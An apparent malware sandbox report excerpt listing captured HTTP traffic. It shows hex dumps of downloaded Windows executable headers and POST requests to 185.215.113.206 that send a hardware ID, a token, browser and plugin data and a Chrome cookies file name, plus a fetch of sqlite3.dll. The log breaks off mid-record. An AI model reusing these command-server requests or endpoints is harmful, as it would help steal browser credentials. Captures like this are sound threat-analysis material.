00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 19 Dec 2024 06:57:26 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 19 Dec 2024 06:57:27 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 06:57:32 GMTContent-Type: application/octet-streamContent-Length: 3047424Last-Modified: Thu, 19 Dec 2024 06:20:34 GMTConnection: keep-aliveETag: "6763bb32-2e8000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 30 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 32 00 00 04 00 00 a4 91 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d4 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 94 12 32 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 12 32 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d4 05 00 00 00 90 06 00 00 06 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 73 66 74 64 62 6c 69 67 00 70 2b 00 00 b0 06 00 00 64 2b 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 71 64 61 6d 6a 66 76 00 10 00 00 00 20 32 00 00 04 00 00 00 5a 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 32 00 00 22 00 00 00 5e 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 06:58:11 GMTContent-Type: application/octet-streamContent-Length: 776832Last-Modified: Tue, 17 Dec 2024 09:45:14 GMTConnection: keep-aliveETag: "6761482a-bda80"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 02 00 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9c a8 01 00 00 10 00 00 00 aa 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 24 8b 00 00 00 c0 01 00 00 8c 00 00 00 b2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 22 00 00 00 50 02 00 00 16 00 00 00 3e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 53 00 00 00 00 53 00 00 00 00 80 02 00 00 02 00 00 00 54 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 6c 73 00 00 00 00 09 00 00 00 00 90 02 00 00 02 00 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e8 00 00 00 00 a0 02 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 40 19 00 00 00 b0 02 00 00 1a 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 9c 04 00 00 d0 02 00 00 9c 04 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 9c 04 00 00 70 07 00 00 9c 04 00 00 10 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 06:58:17 GMTContent-Type: application/octet-streamContent-Length: 1885696Last-Modified: Wed, 18 Dec 2024 18:20:46 GMTConnection: keep-aliveETag: "6763127e-1cc600"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 80 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 4a 00 00 04 00 00 25 2d 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 20 05 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 2a 00 00 40 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 7a 78 64 77 79 76 69 00 50 1a 00 00 20 30 00 00 42 1a 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 66 7a 64 6c 64 69 67 00 10 00 00 00 70 4a 00 00 04 00 00 00 a0 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 4a 00 00 22 00 00 00 a4 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKKFCBAKKFBGCBFHJDGHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 46 45 39 37 43 44 35 38 36 44 36 33 33 30 35 32 39 38 33 36 36 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 2d 2d 0d 0a Data Ascii: ------DBKKFCBAKKFBGCBFHJDGContent-Disposition: form-data; name="hwid"8FE97CD586D63305298366------DBKKFCBAKKFBGCBFHJDGContent-Disposition: form-data; name="build"stok------DBKKFCBAKKFBGCBFHJDG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJDHDAECBGCAKEBAEBAHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 44 48 44 41 45 43 42 47 43 41 4b 45 42 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 33 32 62 61 39 30 64 37 65 64 62 30 62 64 35 35 62 39 32 62 65 35 32 32 64 32 65 66 37 35 64 32 34 33 61 34 66 64 65 34 38 32 32 61 32 34 39 36 64 30 38 37 65 32 34 61 30 62 39 61 61 64 37 32 62 63 37 61 37 33 38 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 48 44 41 45 43 42 47 43 41 4b 45 42 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 48 44 41 45 43 42 47 43 41 4b 45 42 41 45 42 41 2d 2d 0d 0a Data Ascii: ------GHJDHDAECBGCAKEBAEBAContent-Disposition: form-data; name="token"232ba90d7edb0bd55b92be522d2ef75d243a4fde4822a2496d087e24a0b9aad72bc7a738------GHJDHDAECBGCAKEBAEBAContent-Disposition: form-data; name="message"browsers------GHJDHDAECBGCAKEBAEBA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGDHJDAFHJEBFIDAFHIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 47 44 48 4a 44 41 46 48 4a 45 42 46 49 44 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 33 32 62 61 39 30 64 37 65 64 62 30 62 64 35 35 62 39 32 62 65 35 32 32 64 32 65 66 37 35 64 32 34 33 61 34 66 64 65 34 38 32 32 61 32 34 39 36 64 30 38 37 65 32 34 61 30 62 39 61 61 64 37 32 62 63 37 61 37 33 38 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 48 4a 44 41 46 48 4a 45 42 46 49 44 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 48 4a 44 41 46 48 4a 45 42 46 49 44 41 46 48 49 2d 2d 0d 0a Data Ascii: ------GCGDHJDAFHJEBFIDAFHIContent-Disposition: form-data; name="token"232ba90d7edb0bd55b92be522d2ef75d243a4fde4822a2496d087e24a0b9aad72bc7a738------GCGDHJDAFHJEBFIDAFHIContent-Disposition: form-data; name="message"plugins------GCGDHJDAFHJEBFIDAFHI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBGHCGCBKFIECBFHIDGHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 42 47 48 43 47 43 42 4b 46 49 45 43 42 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 33 32 62 61 39 30 64 37 65 64 62 30 62 64 35 35 62 39 32 62 65 35 32 32 64 32 65 66 37 35 64 32 34 33 61 34 66 64 65 34 38 32 32 61 32 34 39 36 64 30 38 37 65 32 34 61 30 62 39 61 61 64 37 32 62 63 37 61 37 33 38 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 48 43 47 43 42 4b 46 49 45 43 42 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 48 43 47 43 42 4b 46 49 45 43 42 46 48 49 44 47 2d 2d 0d 0a Data Ascii: ------ECBGHCGCBKFIECBFHIDGContent-Disposition: form-data; name="token"232ba90d7edb0bd55b92be522d2ef75d243a4fde4822a2496d087e24a0b9aad72bc7a738------ECBGHCGCBKFIECBFHIDGContent-Disposition: form-data; name="message"fplugins------ECBGHCGCBKFIECBFHIDG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJKKJKEHDBGIDGDHCFHIHost: 185.215.113.206Content-Length: 7363Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDHDGDAAAAKFIDGHJDGHost: 185.215.113.206Content-Length: 419Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 33 32 62 61 39 30 64 37 65 64 62 30 62 64 35 35 62 39 32 62 65 35 32 32 64 32 65 66 37 35 64 32 34 33 61 34 66 64 65 34 38 32 32 61 32 34 39 36 64 30 38 37 65 32 34 61 30 62 39 61 61 64 37 32 62 63 37 61 37 33 38 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 